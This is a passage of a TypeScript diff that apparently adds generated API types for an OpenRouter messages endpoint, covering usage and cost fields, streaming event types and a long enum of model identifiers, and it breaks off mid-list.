{ + type: string + [key: string]: unknown + }[] + } | null + /** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object | undefined + */ + openrouter_metadata?: OpenRouterMetadata + provider?: string + safeguard_results?: AnthropicSafeguardResult[] | null + /** + * @example {"cache_creation":null,"cache_creation_input_tokens":null,"cache_read_input_tokens":null,"inference_geo":null,"input_tokens":100,"output_tokens":50,"output_tokens_details":null,"server_tool_use":null,"service_tier":"standard"} + */ + usage?: AnthropicUsage & { + /** + * @description + * Format: `double` + * @type number | undefined + */ + cost?: number | null + /** + * @description Breakdown of upstream inference costs + * @example {"upstream_inference_completions_cost":0.0004,"upstream_inference_cost":null,"upstream_inference_prompt_cost":0.0008} + * @type object | undefined + */ + cost_details?: CostDetails | null + deferred_tools_details?: { + /** + * @description Completion tokens summed over every upstream call + * @type integer + */ + completion_tokens: number + /** + * @description Prompt tokens summed over every upstream call + * @type integer + */ + prompt_tokens: number + /** + * @description Sum of the above two fields + * @type integer + */ + total_tokens: number + /** + * @description Upstream model calls the run made + * @minimum 0 + * @type integer + */ + turns: number + } + is_byok?: boolean + iterations?: AnthropicUsageIteration[] + /** + * @example {"tool_calls_executed":1,"tool_calls_requested":1,"web_fetch_requests":0,"web_search_requests":0} + * @type object | undefined + */ + server_tool_use?: ORAnthropicServerToolUsage | null + service_tier?: string | null + /** + * @example standard + * @type string | undefined + */ + speed?: AnthropicSpeedKey | null + } +} + +/** + * @example {"data":{"delta":{"text":"Hello","type":"text_delta"},"index":0,"type":"content_block_delta"},"event":"content_block_delta"} + * @type object + */ +export type OpenrouterPostMessagesStatus200EventStream = { + /** + * @description Union of all possible streaming events + * @example {"delta":{"text":"Hello","type":"text_delta"},"index":0,"type":"content_block_delta"} + */ + data: MessagesStreamEvents + event: string +} + +export type OpenrouterPostMessagesStatus200 = + | OpenrouterPostMessagesStatus200Json + | OpenrouterPostMessagesStatus200EventStream + +export const openrouterPostMessagesRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 